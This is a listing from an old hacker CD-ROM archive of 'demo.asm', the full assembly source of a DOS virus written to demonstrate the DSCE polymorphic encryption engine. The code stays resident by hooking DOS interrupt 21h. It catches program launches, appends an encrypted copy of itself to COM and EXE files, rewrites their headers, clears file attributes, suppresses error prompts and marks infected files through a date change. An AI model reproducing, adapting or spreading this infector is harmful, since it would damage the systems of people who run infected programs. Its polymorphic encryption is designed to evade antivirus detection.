home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / chibacity / demo.asm < prev    next >
Assembly Source File  |  1996-04-22  |  12KB  |  451 lines

  1. ; A DEMO VIRUS FOR DSCE BY [PF]
  2. .286
  3.  
  4. DEMO        SEGMENT
  5.             ASSUME  CS:DEMO,DS:DEMO
  6.             ORG     0000
  7.  
  8. VIR_LEN     EQU     OFFSET DSCE_END
  9.  
  10.             EXTRN   DSCE:NEAR,DSCE_END:NEAR
  11.  
  12. START:      CALL    BEG
  13.  
  14. BEG         PROC
  15. BEG         ENDP
  16.  
  17.             CLD
  18.             MOV     AH,62H
  19.             INT     21H
  20.             MOV     ES,BX
  21.             POP     AX
  22.             SUB     AX,3
  23.             SHR     AX,4
  24.             MOV     DX,CS
  25.             ADD     AX,DX
  26.             PUSH    AX
  27.             PUSH    OFFSET CHK_MEMVIR
  28.             RETF
  29. CHK_MEMVIR: PUSH    CS
  30.             POP     DS
  31.             MOV     AX,4BDDH
  32.             INT     21H
  33.             CMP     AX,0DD4BH
  34.             JZ      RUN_OLD
  35.             MOV     PSP_1,ES
  36.             MOV     PSP_2,ES
  37.             MOV     PSP_3,ES
  38.             MOV     BX,VIR_LEN
  39.             MOV     WORD PTR [BX],0A4F3H
  40.             MOV     BYTE PTR [BX+2],0CBH
  41.             XOR     DI,DI
  42.             MOV     SI,DI
  43.             MOV     AX,ES
  44.             ADD     AX,10H
  45.             MOV     ES,AX
  46.             MOV     CX,VIR_LEN
  47.             PUSH    ES
  48.             MOV     AX,OFFSET CON
  49.             PUSH    AX
  50.             CLD
  51.             JMP     BX
  52.  
  53. RUN_OLD:    PUSH    ES
  54.             POP     DS
  55.             CMP     CS:FILE_MODE,0
  56.             JNZ     RUN_EXE
  57.             MOV     AX,CS:COM_HEAD1
  58.             MOV     DS:[0100H],AX
  59.             MOV     AH,CS:COM_HEAD2
  60.             MOV     DS:[0102H],AH
  61.             MOV     AX,0100H
  62.             MOV     SP,0FFFEH
  63.             PUSH    DS
  64.             PUSH    AX
  65.             RETF
  66. RUN_EXE:    MOV     AX,ES
  67.             ADD     AX,10H
  68.             ADD     CS:EXE_SS,AX
  69.             ADD     CS:EXE_CS,AX
  70.             CLI
  71.             MOV     SS,CS:EXE_SS
  72.             MOV     SP,CS:EXE_SP
  73.             STI
  74.             JMP     DWORD PTR CS:EXE_IP
  75.  
  76. RUN_OLD_M2: MOV     AX,CS
  77.             MOV     BX,VIR_LEN
  78.             ADD     BX,200H
  79.             CLI
  80.             MOV     SS,AX
  81.             MOV     SP,BX
  82.             STI
  83.             MOV     AH,4AH
  84.             MOV     BX,VIR_LEN
  85.             ADD     BX,BX
  86.             SHR     BX,4
  87.             ADD     BX,200H
  88.             MOV     ES,PSP_1
  89.             INT     21H
  90.             MOV     ES,ES:[2CH]
  91.             XOR     DI,DI
  92.             XOR     AX,AX
  93.             MOV     CX,0FFFFH
  94. GET_NAME:   REPNZ   SCASB
  95.             CMP     AL,ES:[DI]
  96.             LOOPNZ  GET_NAME
  97.             ADD     DI,3
  98.             MOV     RUN_DX,DI
  99.             MOV     RUN_DS,ES
  100.             PUSH    CS
  101.             POP     ES
  102.             MOV     AX,4B00H
  103.             MOV     BX,OFFSET PCB
  104.             LDS     DX,DWORD PTR CS:RUN_DX
  105.             INT     21H
  106.  
  107.             MOV     AH,4DH
  108.             INT     21H
  109.             MOV     AH,31H
  110.             MOV     DX,VIR_LEN
  111.             ADD     DX,DX
  112.             SHR     DX,4
  113.             ADD     DX,0F0H
  114.             INT     21H
  115.  
  116. CON:        PUSH    CS
  117.             POP     DS
  118.             MOV     AX,3521H
  119.             INT     21H
  120.             MOV     INT21_IP,BX
  121.             MOV     INT21_CS,ES
  122.             MOV     DX,OFFSET INT21
  123.             MOV     AX,2521H
  124.             INT     21H
  125.             JMP     RUN_OLD_M2
  126.  
  127. INT21_IP    DW      ?
  128. INT21_CS    DW      ?
  129. INT24_IP    DW      ?
  130. INT24_CS    DW      ?
  131. RUN_DX      DW      ?
  132. RUN_DS      DW      ?
  133. COM_HEAD1   DW      20CDH
  134. COM_HEAD2   DB      ?
  135.  
  136. EXE_HEAD    DW       ?
  137. EXE_02H     DW       ?
  138. EXE_04H     DW       ?
  139.             DW       ?
  140. EXE_08H     DW       ?
  141.             DW       2 DUP(?)
  142. EXE_SS      DW       ?
  143. EXE_SP      DW       ?
  144.             DW       ?
  145. EXE_IP      DW       ?
  146. EXE_CS      DW       ?
  147.  
  148. NEW_SIZE_L  DW       ?
  149. NEW_SIZE_H  DW       ?
  150.  
  151. PCB         DW       0
  152.             DW       80H
  153. PSP_1       DW       ?
  154.             DW       5CH
  155. PSP_2       DW       ?
  156.             DW       6CH
  157. PSP_3       DW       ?
  158.  
  159. PATH_DX     DW       ?
  160. PATH_DS     DW       ?
  161. DATE_CX     DW       ?
  162. DATE_DX     DW       ?
  163.  
  164. FILE_MODE   DB       0
  165. FILE_ATR    DW       ?
  166. FILE_LEN    DW       ?
  167.  
  168. POP_BUFFER  DW       ?
  169. VIR_BUFFER  DB       20H DUP (?)
  170.  
  171. SP_BUF      DW       ?
  172. SS_BUF      DW       ?
  173.  
  174. VIR_MSG     DB       "This is a DSCE's Demo Virus written by [P.F]"
  175.  
  176. INT21:      PUSHF
  177.             CLD
  178.             CALL     INF_PUSH
  179.             CMP      AX,4BDDH
  180.             JNZ      I21_CON
  181.             CALL     INF_POP
  182.             MOV      AX,0DD4BH
  183.             POPF
  184.             IRET
  185.  
  186. I21_CON:    CMP      AX,4B00H
  187.             JZ       I21_RUN
  188. I21_END:    CALL     INF_POP
  189.             POPF
  190.             JMP      DWORD PTR CS:INT21_IP
  191. I21_CLOSE:  MOV      AH,3EH
  192.             INT      21H
  193.             JMP      I21_END
  194. I21_RUN:    MOV      CS:PATH_DS,DS
  195.             MOV      CS:PATH_DX,DX
  196.             MOV      AX,3D00H
  197.             INT      21H
  198. I21_END_L1: JC       I21_END
  199.             XCHG     AX,BX
  200.             PUSH     CS
  201.             POP      DS
  202.             MOV      AX,5700H
  203.             INT      21H
  204.             CMP      DX,0C800H
  205.             JA       I21_CLOSE
  206.             MOV      DATE_CX,CX
  207.             MOV      DATE_DX,DX
  208.             MOV      AH,3FH
  209.             MOV      CX,3
  210.             MOV      DX,OFFSET COM_HEAD1
  211.             INT      21H
  212.             CMP      AX,CX
  213.             JNZ      I21_CLOSE
  214.             CMP      COM_HEAD1,4D5AH
  215.             JZ       SET_MODE
  216.             CMP      COM_HEAD1,5A4DH
  217.             JNZ      SET_M_COM
  218. SET_MODE:   MOV      FILE_MODE,1
  219.             MOV      AX,4200H
  220.             XOR      CX,CX
  221.             XOR      DX,DX
  222.             INT      21H
  223.             MOV      AH,3FH
  224.             MOV      CX,18H
  225.             MOV      DX,OFFSET EXE_HEAD
  226.             INT      21H
  227.             JMP      SHORT I21_OPEN
  228. SET_M_COM:  MOV      FILE_MODE,0
  229.             MOV      AX,4202H
  230.             XOR      CX,CX
  231.             XOR      DX,DX
  232.             INT      21H
  233.             OR       DX,DX
  234.             JNZ      I21_CLOSE
  235.             CMP      AX,0C000H
  236.             JA       I21_CLOSE
  237.             MOV      FILE_LEN,AX
  238. I21_OPEN:   MOV      AH,3EH
  239.             INT      21H
  240.             PUSH     PATH_DX
  241.             PUSH     PATH_DS
  242.             POP      DS
  243.             POP      DX
  244.             MOV      AX,4300H
  245.             INT      21H
  246.             JC       I21_END_L1
  247.             MOV      CS:FILE_ATR,CX
  248.             MOV      AX,4301H
  249.             XOR      CX,CX
  250.             INT      21H
  251.             MOV      AX,3D02H
  252.             INT      21H
  253.             JC       I21_END_L2
  254.             XCHG     AX,BX
  255.             PUSH     CS
  256.             POP      DS
  257.             PUSH     BX
  258.             MOV      AX,3524H
  259.             INT      21H
  260.             MOV      INT24_IP,BX
  261.             MOV      INT24_CS,ES
  262.             MOV      AX,2524H
  263.             MOV      DX,OFFSET INT24
  264.             INT      21H
  265.             POP      BX
  266.             CALL     WRITE
  267.             MOV      AH,3EH
  268.             INT      21H
  269.             MOV      AX,2524H
  270.             PUSH     INT24_IP
  271.             PUSH     INT24_CS
  272.             POP      DS
  273.             POP      DX
  274.             INT      21H
  275.             PUSH     CS:PATH_DX
  276.             PUSH     CS:PATH_DS
  277.             POP      DS
  278.             POP      DX
  279.             MOV      AX,4301H
  280.             MOV      CX,CS:FILE_ATR
  281.             INT      21H
  282. I21_END_L2: JMP      I21_END
  283.  
  284. INT24:      XOR      AL,AL
  285.             IRET
  286.  
  287. WRITE       PROC
  288.             MOV      SP_BUF,SP
  289.             MOV      SS_BUF,SS
  290.             MOV      AX,VIR_LEN + 5DCH
  291.             MOV      DX,CS
  292.             CLI
  293.             MOV      SS,DX
  294.             MOV      SP,AX
  295.             STI
  296.             CMP      FILE_MODE,0
  297.             JZ       WRITE_COM
  298.             JMP      SHORT WRITE_EXE
  299. WRITE_COM:  MOV      SI,OFFSET VIR_BUFFER
  300.             MOV      BYTE PTR [SI],0E9H
  301.             MOV      AX,FILE_LEN
  302.             PUSH     AX
  303.             SUB      AX,3
  304.             MOV      [SI+1],AX
  305.             MOV      AX,4200H
  306.             XOR      CX,CX
  307.             XOR      DX,DX
  308.             INT      21H
  309.             MOV      AH,40H
  310.             MOV      DX,SI
  311.             MOV      CX,3
  312.             INT      21H
  313.             MOV      AX,4202H
  314.             XOR      CX,CX
  315.             XOR      DX,DX
  316.             INT      21H
  317.             MOV      AX,VIR_LEN + 600H
  318.             MOV      DX,CS
  319.             SHR      AX,4
  320.             INC      AX
  321.             ADD      AX,DX
  322.             MOV      ES,AX
  323.             MOV      DX,OFFSET START
  324.             MOV      CX,VIR_LEN
  325.             POP      BP
  326.             ADD      BP,0100H
  327.             PUSH     BX
  328.             MOV      BL,10B
  329.  
  330.             CALL     DSCE
  331.  
  332.             POP      BX
  333.             MOV      AH,40H
  334.             INT      21H
  335.             PUSH     CS
  336.             POP      DS
  337.  
  338. SET_DATE:   MOV      AX,5701H
  339.             MOV      CX,DATE_CX
  340.             MOV      DX,DATE_DX
  341.             ADD      DX,0C800H
  342.             INT      21H
  343.             MOV      AX,SP_BUF
  344.             MOV      DX,SS_BUF
  345.             CLI
  346.             MOV      SS,DX
  347.             MOV      SP,AX
  348.             STI
  349.             RET
  350.  
  351. WRITE_EXE:  PUSH     CS
  352.             POP      ES
  353.             MOV      SI,OFFSET EXE_HEAD
  354.             MOV      DI,OFFSET VIR_BUFFER
  355.             MOV      CX,18H
  356.             REP      MOVSB
  357.             MOV      AX,4202H
  358.             XOR      CX,CX
  359.             XOR      DX,DX
  360.             INT      21H
  361.             ADD      AX,0FH
  362.             ADC      DX,0
  363.             AND      AX,0FFF0H
  364.             MOV      NEW_SIZE_L,AX
  365.             MOV      NEW_SIZE_H,DX
  366.             MOV      CX,10H
  367.             DIV      CX
  368.             MOV      DI,OFFSET VIR_BUFFER
  369.             SUB      AX,[DI+8]
  370.             MOV      [DI+16H],AX
  371.             MOV      [DI+0EH],AX
  372.             MOV      WORD PTR [DI+14H],0
  373.             MOV      [DI+10H],0FFFEH
  374.             MOV      AX,4200H
  375.             MOV      DX,NEW_SIZE_L
  376.             MOV      CX,NEW_SIZE_H
  377.             INT      21H
  378.             MOV      AX,VIR_LEN + 600H
  379.             MOV      DX,CS
  380.             SHR      AX,4
  381.             INC      AX
  382.             ADD      AX,DX
  383.             MOV      ES,AX
  384.             MOV      DX,OFFSET START
  385.             MOV      CX,VIR_LEN
  386.             MOV      BP,0
  387.             PUSH     BX
  388.             MOV      BL,11B
  389.  
  390.             CALL     DSCE
  391.  
  392.             POP      BX
  393.             MOV      AH,40H
  394.             INT      21H
  395.             PUSH     CS
  396.             POP      DS
  397.  
  398.             MOV      AX,NEW_SIZE_L
  399.             MOV      DX,NEW_SIZE_H
  400.             ADD      AX,CX
  401.             ADC      DX,0
  402.             MOV      CX,200H
  403.             MOV      DI,OFFSET VIR_BUFFER
  404.             DIV      CX
  405.             OR       DX,DX
  406.             JZ       GET_NEW
  407.             INC      AX
  408. GET_NEW:    MOV      [DI+4],AX
  409.             MOV      [DI+2],DX
  410.             MOV      AX,4200H
  411.             XOR      CX,CX
  412.             XOR      DX,DX
  413.             INT      21H
  414.             MOV      AH,40H
  415.             MOV      CX,18H
  416.             MOV      DX,DI
  417.             INT      21H
  418.             JMP      SET_DATE
  419. WRITE       ENDP
  420.  
  421. INF_PUSH    PROC
  422.             POP      CS:POP_BUFFER
  423.             PUSH     AX
  424.             PUSH     BX
  425.             PUSH     CX
  426.             PUSH     DX
  427.             PUSH     SI
  428.             PUSH     DI
  429.             PUSH     BP
  430.             PUSH     DS
  431.             PUSH     ES
  432.             JMP      CS:POP_BUFFER
  433. INF_PUSH    ENDP
  434.  
  435. INF_POP     PROC
  436.             POP      CS:POP_BUFFER
  437.             POP      ES
  438.             POP      DS
  439.             POP      BP
  440.             POP      DI
  441.             POP      SI
  442.             POP      DX
  443.             POP      CX
  444.             POP      BX
  445.             POP      AX
  446.             JMP      CS:POP_BUFFER
  447. INF_POP     ENDP
  448.  
  449. DEMO        ENDS
  450.             END     START
  451.